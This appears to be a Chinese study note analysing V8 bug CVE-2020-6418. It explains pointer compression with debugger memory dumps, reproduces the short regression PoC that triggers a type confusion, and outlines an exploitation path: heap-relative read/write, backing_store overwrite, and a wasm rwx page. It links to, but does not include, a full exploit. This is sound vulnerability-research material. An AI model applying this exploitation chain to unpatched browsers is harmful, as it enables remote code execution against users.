前言 本文是学习笔记,参考[博客](https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90 _
指针压缩 Pointer compression v8 8.0之前,tagged pointer 有三种表示方法:
1 2 3 Smi: [32 bits] [31 bits (unused)] | 0 Strong HeapObject: [pointer] | 01 Weak HeapObject: [pointer] | 11
比如 a = [1, 2]
在内存中的表示为:
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x31c7b978dee8 00:0000│ 0x31c7b978dee8 —▸ 0x3a629e640851 ◂— 0x3a629e6401 01:0008│ 0x31c7b978def0 ◂— 0x200000000 // length 02:0010│ 0x31c7b978def8 ◂— 0x100000000 // 1 03:0018│ 0x31c7b978df00 ◂— 0x200000000 // 2 04:0020│ 0x31c7b978df08 —▸ 0x3a629e640851 ◂— 0x3a629e6401 05:0028│ 0x31c7b978df10 ◂— 0x400000000 06:0030│ 0x31c7b978df18 —▸ 0x43634903b29 ◂— 0x3a629e6409 07:0038│ 0x31c7b978df20 —▸ 0x31c7b978d039 ◂— 0x9600003a629e6409
在 8.0 之后, 新的格式被采用了:
1 2 3 Smi: [31 bits] | 0 Strong HeapObject: [30 bits] | 01 Weak HeapObject: [30 bits] | 11
a = [1,2]在内存中的表示如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> telescope 0x3b1e0824ffe4 00:0000│ 0x3b1e0824ffe4 ◂— 0x4080404d9 01:0008│ 0x3b1e0824ffec ◂— 0x400000002 02:0010│ 0x3b1e0824fff4 ◂— 0x80411c9 03:0018│ 0x3b1e0824fffc ◂— 0x80404890824ffe5 04:0020│ 0x3b1e08250004 ◂— 0x80404b100000000 05:0028│ 0x3b1e0825000c ◂— 0x824fff500000002 06:0030│ 0x3b1e08250014 ◂— 0x2e080409c5 07:0038│ 0x3b1e0825001c ◂— 0x825000108250009 /* '\t' */ pwndbg> x/20wx 0x3b1e0824ffe4 0x3b1e0824ffe4: 0x080404d9 0x00000004 0x00000002 0x00000004 // 1<<1 2<<1 0x3b1e0824fff4: 0x080411c9 0x00000000 0x0824ffe5 0x08040489 0x3b1e08250004: 0x00000000 0x080404b1 0x00000002 0x0824fff5 0x3b1e08250014: 0x080409c5 0x0000002e 0x08250009 0x08250001 0x3b1e08250024: 0x0804030d 0x00000010 0x00000008 0x00000000 pwndbg>
这里telescope 就用不了了,或者说没必要使用了。 使用地址的时候也发现64位下,不是8的倍数了, 所有数据都变成32位了。 v8会先申请一块大内存,然后将高地址保存在寄存器(R13)中 ,这样当访问tagged pointer 的时候就只要使用32位就够了。
漏洞分析 poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Flags: --allow-natives-syntax let a = [0, 1, 2, 3, 4]; function empty() {} function f(p) { a.pop(Reflect.construct(empty, arguments, p)); } let p = new Proxy(Object, { get: () => (a[0] = 1.1, Object.prototype) }); function main(p) { f(p); } %PrepareFunctionForOptimization(empty); %PrepareFunctionForOptimization(f); %PrepareFunctionForOptimization(main); main(empty); main(empty); %OptimizeFunctionOnNextCall(main); main(p);
根据commit中的信息,应该是a.pop调用的时候,没有考虑到JSCreate结点存在的side-effect(会触发回调函数),改变a的类型(变成DOUBLE),仍然按之前的类型(SMI)处理。 执行poc后得到结果:
1 2 3 4 $ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js 4 3 0
在调试之后,发现确实如刚才的猜想。
漏洞利用 因为pointer compression的存在,不能像之前一样无脑通过ArrayBuffer来进行任意读写了。但是很容易想到的是可以通过改写数组结构体elements或properties指针的方式实现堆的4GB空间内任意相对地址读写;可以通过修改ArrayBuffer结构体的backing_store指针来实现绝对地址的读写。
链接如下:https://github.com/ray-cp/browser_pwn/blob/master/v8_pwn/cve-2020-6418/exp.js
需要注意的是:
wasm rwx 的偏移不同版本不一样,可以通过debug版本测一下。
如果不实现AddrOf的话,需要通过OOB read 才能获取到wasm function的addr。
总结 看了比较多的例子,发现很多漏洞都是在各种callback中,改变对象的某一种属性导致的漏洞,比如改变数组的长度或者是对象的类型。开发这在实现这个方法的时候,很容易忽视这种安全性的改变。
引用 https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5